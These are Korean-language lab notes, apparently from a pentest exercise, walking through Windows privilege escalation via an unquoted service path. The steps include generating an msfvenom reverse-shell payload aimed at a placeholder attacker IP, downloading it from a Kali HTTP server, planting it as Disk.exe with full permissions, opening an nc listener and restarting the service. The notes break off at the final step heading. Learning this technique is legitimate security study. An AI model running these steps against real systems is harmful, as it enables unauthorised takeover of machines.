- 서비스 실행 경로에 공백이 포함되어 있음에도 경로에 따옴표("")가 없음.
- Windows는 공백을 명령어와 인자 구분자로 인식하기 때문에, 실행하려는 경로를 여러가지로 오해할 수 있음.
- 만약 앞부분에 해당하는 경로에 공격자가 컨트롤 가능한 실행 파일이 있다면, 그 파일이 먼저 실행됨.
- Linux PrivEsc에서 Path Hijacking과 거의 같다고 보면 된다.
# 단계별 정리
##### 1단계: 서비스 설정 확인
```powershell
sc qc "disk sorter enterprise"
# 파워쉘에서 sc는 Set-Content의 alias
# 따라서 sc.exe로 사용해야함
sc.exe qc "disk sorter enterprise"
```
결과 확인
```text
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
```
- 문제: 경로에 공백이 있음에도 따옴표가 없음.
- SCM은 이 실행 경로를 아래 순서대로 시도하게 된다.
| 시도 순서 | 실행 경로 |
| ----- | ------------------------------------------------------ |
| ① | `C:\MyPrograms\Disk.exe` |
| ② | `C:\MyPrograms\Disk Sorter.exe` |
| ③ | `C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe` |
- 공격자가 `C:\MyPrograms` 경로에 `Disk.exe`라는 이름의 공격 페이로드를 넣으면 SCM이 `Disk Sorter Enterprise\bin\disksrs.exe`로 가기전에 `Disk.exe` 부터 실행하게 된다.
##### 2단계: 해당 경로의 권한 확인
```cmd
icacls C:\MyPrograms
```
```text
BUILTIN\Users:(I)(CI)(AD) → 하위 디렉토리 만들 수 있음
BUILTIN\Users:(I)(CI)(WD) → 파일 생성 가능
```
- 일반 사용자도 이 디렉토리에 파일/폴더 생성 가능
- 즉, Disk.exe 생성 가능 -> 하이재킹 성공 조건 충족
##### 3단계: 리버스 쉘 페이로드 생성 (공격자 측에서)
```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=1234 -f exe-service -o rev-svc.exe
```
- Windows 서비스용 `exe-service`포맷으로 리버스 쉘 생성
##### 4단계: 칼리에서 타겟 윈도우로 페이로드 전송
칼리에서 HTTP 서버 열기
```bash
python3 -m http.server 8888
```
윈도우에서 다운로드
```powershell
wget http://<KALI_IP>:8888/rev-svc.exe -O rev-svc.exe
# 혹은 Invoke-WebRequest
Invoke-WebRequest -Uri http://<KALI_IP>:8888 -OutFile rev-svc.exe
```
##### 5단계: 리버스 쉘 파일 전송 및 배치
```cmd
move C:\Users\wook\rev-svc.exe C:\MyPrograms\Disk.exe
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
```
- 만든 페이로드를 `C:\MyPrograms\Disk.exe`로 이동
- `Everyone`그룹에게 Full Control 권한 부여
##### 6단계: 리스너 대기 시작 (공격자 측에서)
```bash
nc -lvnp 1234
```
##### 7단계: 서비스 재시작
```cmd
sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"
```
- 서비스가 다시 시작되면서 Disk.exe를 실행함 (SCM이 그렇게 해석하기 때문)
- 결과적으로 공격자의 페이로드 실행됨 -> 리버스 쉘 연결
##### 8단계: 쉘 획득